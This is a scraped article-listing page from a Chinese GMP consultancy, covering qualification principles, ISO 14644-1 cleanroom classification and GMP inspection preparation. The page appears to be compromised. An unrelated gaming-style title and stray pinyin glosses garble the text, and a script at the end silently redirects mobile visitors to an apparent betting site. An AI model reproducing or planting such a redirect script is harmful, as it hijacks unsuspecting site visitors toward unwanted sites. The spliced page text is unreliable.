酷游登路

GMP技术文章

酷游登路资源中心为您提供最新的GMP技术文章。您也可以通过发送一封简短的邮件到我们的邮箱:info@gempex.cn索取相关资源,接收来自专业GMP咨询公司的知识讯息。

联系我们

酷游登路(广(guang)州)认证咨询有限公(gong)司

Ms. Feng 冯女士
Sales & Marketing Dept. 市场销售部
info@gempex.cn
+86 20 2238 2526

精选文章

有效且高效的确认基本原则——第二部分

现发布第2部(bu)分——“计(ji)(ji)划才是最重要的”。本部(bu)分主要分析了(le)验(yan)证与确认的计(ji)(ji)划,着(zhe)重论述了(le)每个验(yan)证开始时的计(ji)(ji)划和基本要素。

有效且高效的确认基本原则——第一部分

现发布第(di)1部(bu)分——“基(ji)本原则”。本部(bu)分主要介(jie)绍了基(ji)础(chu)知识、对关(guan)键概念(nian)的正确理解、有(you)效实施的alpha和(he)omega。还有(you)确认和(he)技术的检查之间有(you)什(shen)么区别?用(yong)户要求规范到底是什(shen)么?

如何依据ISO14644-1(2015)进行洁净室分级测试

ISO 14644-1 (14644-1:2015)最新版本(第二版)已经于2015年12月发布,根据EU, PIC/S以及中国现行GMP的要求,洁净室与洁净空气设备需根据现行的ISO 14644-1进行分级。
本文将就新版本ISO标准的主要变化及其对洁净室确认分级测试的影响进行深入讨论。

德国专家教你准备GMP检查

成功通过GMP检查对于药品生产企业的业务持续性至关重要,我们不能对检查心存侥幸。通过遵循清晰的程序和建议进行检查准备,我们将能大幅提高检查成功率。
德国资深GMP出版人Thomas Peither在本文列举了一些在准备GMP检查时需要重点关注的要点,帮助您提高检查的成功率。

如何正确管理GMP文件

德国GMP专(zhuan)家Oechslein博士通(tong)过本文(wen)介绍文(wen)件受控和可追溯的(de)基本原则(ze),适用于新入职(zhi)的(de)员工的(de)培训。

设备供应商如何在GMP方面支持药企?

如今,越来越多药企选择(ze)让(rang)设备供应商(shang)执行(xing)这(zhei)项困难而正式的确认活动,这(zhei)是(shi)因为设备供应商(shang)通常对他们自己的机(ji)器(qi)和装置有最深入(ru)的了解(jie)。因此,对于那些(xie)有相关(guan)的GMP /确认知识,并能够提供这(zhei)方面支持的设备供应商(shang)来说(shuo),这(zhei)是(shi)一(yi)个巨(ju)大的竞争(zheng)优势。但是(shi),设备供应商(shang)具体应该怎么做(zuo)呢?

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();